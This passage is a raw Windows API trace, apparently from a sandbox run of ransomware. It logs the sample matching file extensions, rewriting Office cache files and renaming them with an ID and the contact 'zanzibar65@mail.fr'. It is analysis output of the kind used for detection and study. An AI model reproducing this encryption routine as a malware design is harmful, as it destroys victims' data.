[0045.202] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0045.202] lstrlenW (lpString=".ppt") returned 4 [0045.202] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.202] lstrlenW (lpString=".zip") returned 4 [0045.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.202] lstrlenW (lpString=".rar") returned 4 [0045.203] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.203] lstrlenW (lpString=".bz2") returned 4 [0045.203] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.203] lstrlenW (lpString=".7z") returned 3 [0045.203] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.203] lstrlenW (lpString=".dbf") returned 4 [0045.203] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.203] lstrlenW (lpString=".1cd") returned 4 [0045.203] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.203] lstrlenW (lpString=".jpg") returned 4 [0045.203] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.203] lstrlenW (lpString=".doc") returned 4 [0045.203] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.203] lstrlenW (lpString=".docx") returned 5 [0045.203] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0045.203] lstrlenW (lpString=".pdf") returned 4 [0045.203] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.203] lstrlenW (lpString=".xls") returned 4 [0045.203] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.203] lstrlenW (lpString=".xlsx") returned 5 [0045.204] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0045.204] lstrlenW (lpString=".ppt") returned 4 [0045.204] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.204] lstrlenW (lpString=".zip") returned 4 [0045.204] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.204] lstrlenW (lpString=".rar") returned 4 [0045.204] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.204] lstrlenW (lpString=".bz2") returned 4 [0045.204] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.204] lstrlenW (lpString=".7z") returned 3 [0045.204] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.204] lstrlenW (lpString=".dbf") returned 4 [0045.204] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.204] lstrlenW (lpString=".1cd") returned 4 [0045.204] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.204] lstrlenW (lpString=".jpg") returned 4 [0045.204] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.204] lstrcmpiW (lpString1=".MST", lpString2=".html") returned 1 [0045.204] lstrlenW (lpString="ShellUI.MST") returned 11 [0045.204] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0045.205] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=3584) returned 1 [0045.205] CloseHandle (hObject=0x17c) returned 1 [0045.205] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0045.205] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.205] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0045.205] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.205] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.205] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0045.205] GetLastError () returned 0x0 [0045.205] ReadFile (in: hFile=0x17c, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xe00, lpOverlapped=0x0) returned 1 [0045.207] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0045.208] ReadFile (in: hFile=0x17c, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.208] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.208] SetEndOfFile (hFile=0x1f0) returned 1 [0045.208] CloseHandle (hObject=0x1f0) returned 1 [0045.208] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.208] SetEndOfFile (hFile=0x17c) returned 1 [0045.209] CloseHandle (hObject=0x17c) returned 1 [0045.209] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0045.209] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0045.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.209] lstrlenW (lpString=".doc") returned 4 [0045.209] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0045.210] lstrlenW (lpString=".docx") returned 5 [0045.210] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0045.210] lstrlenW (lpString=".pdf") returned 4 [0045.210] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0045.210] lstrlenW (lpString=".xls") returned 4 [0045.210] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0045.210] lstrlenW (lpString=".xlsx") returned 5 [0045.210] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0045.210] lstrlenW (lpString=".ppt") returned 4 [0045.210] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0045.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.210] lstrlenW (lpString=".zip") returned 4 [0045.210] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0045.210] lstrlenW (lpString=".rar") returned 4 [0045.210] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0045.210] lstrlenW (lpString=".bz2") returned 4 [0045.210] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0045.210] lstrlenW (lpString=".7z") returned 3 [0045.210] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0045.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.210] lstrlenW (lpString=".dbf") returned 4 [0045.210] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0045.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.210] lstrlenW (lpString=".1cd") returned 4 [0045.210] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0045.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.210] lstrlenW (lpString=".jpg") returned 4 [0045.210] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0045.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.210] lstrlenW (lpString=".doc") returned 4 [0045.210] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0045.211] lstrlenW (lpString=".docx") returned 5 [0045.211] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0045.211] lstrlenW (lpString=".pdf") returned 4 [0045.211] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0045.211] lstrlenW (lpString=".xls") returned 4 [0045.211] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0045.211] lstrlenW (lpString=".xlsx") returned 5 [0045.211] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0045.211] lstrlenW (lpString=".ppt") returned 4 [0045.211] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0045.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.211] lstrlenW (lpString=".zip") returned 4 [0045.211] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0045.211] lstrlenW (lpString=".rar") returned 4 [0045.211] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0045.211] lstrlenW (lpString=".bz2") returned 4 [0045.211] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0045.211] lstrlenW (lpString=".7z") returned 3 [0045.211] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0045.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.211] lstrlenW (lpString=".dbf") returned 4 [0045.211] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0045.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.211] lstrlenW (lpString=".1cd") returned 4 [0045.211] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0045.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.211] lstrlenW (lpString=".jpg") returned 4 [0045.211] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0045.211] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0045.212] lstrlenW (lpString="AccessMUI.msi") returned 13 [0045.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0045.449] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=2517504) returned 1 [0045.449] CloseHandle (hObject=0x218) returned 1 [0045.449] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0045.449] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.449] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0046.045] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0046.045] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.045] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.045] ReadFile (in: hFile=0x218, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.048] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.050] ReadFile (in: hFile=0x218, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.059] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.059] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.059] ReadFile (in: hFile=0x218, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.075] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.075] WriteFile (in: hFile=0x218, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x327fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0046.328] SetEndOfFile (hFile=0x218) returned 1 [0046.328] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0046.331] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.331] WriteFile (in: hFile=0x218, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.332] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.332] WriteFile (in: hFile=0x218, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.338] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.338] WriteFile (in: hFile=0x218, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.341] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0046.341] CloseHandle (hObject=0x218) returned 1 [0046.341] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0046.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.342] lstrlenW (lpString=".doc") returned 4 [0046.342] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.342] lstrlenW (lpString=".docx") returned 5 [0046.342] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.342] lstrlenW (lpString=".pdf") returned 4 [0046.342] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.342] lstrlenW (lpString=".xls") returned 4 [0046.342] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.342] lstrlenW (lpString=".xlsx") returned 5 [0046.342] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.342] lstrlenW (lpString=".ppt") returned 4 [0046.342] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.342] lstrlenW (lpString=".zip") returned 4 [0046.342] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.342] lstrlenW (lpString=".rar") returned 4 [0046.342] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.342] lstrlenW (lpString=".bz2") returned 4 [0046.342] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.342] lstrlenW (lpString=".7z") returned 3 [0046.342] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.342] lstrlenW (lpString=".dbf") returned 4 [0046.342] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.342] lstrlenW (lpString=".1cd") returned 4 [0046.342] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.342] lstrlenW (lpString=".jpg") returned 4 [0046.343] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.343] lstrlenW (lpString=".doc") returned 4 [0046.343] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.343] lstrlenW (lpString=".docx") returned 5 [0046.343] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.343] lstrlenW (lpString=".pdf") returned 4 [0046.343] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.343] lstrlenW (lpString=".xls") returned 4 [0046.343] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.343] lstrlenW (lpString=".xlsx") returned 5 [0046.343] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.343] lstrlenW (lpString=".ppt") returned 4 [0046.343] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.343] lstrlenW (lpString=".zip") returned 4 [0046.343] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.343] lstrlenW (lpString=".rar") returned 4 [0046.343] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.343] lstrlenW (lpString=".bz2") returned 4 [0046.343] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.343] lstrlenW (lpString=".7z") returned 3 [0046.343] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.343] lstrlenW (lpString=".dbf") returned 4 [0046.343] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.343] lstrlenW (lpString=".1cd") returned 4 [0046.343] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.343] lstrlenW (lpString=".jpg") returned 4 [0046.344] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.344] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0046.344] lstrlenW (lpString="PidGenX.dll") returned 11 [0046.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0046.344] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=1463568) returned 1 [0046.344] CloseHandle (hObject=0x218) returned 1 [0046.344] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0046.344] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0046.344] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.344] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.345] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0046.345] GetLastError () returned 0x0 [0046.345] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0046.366] WriteFile 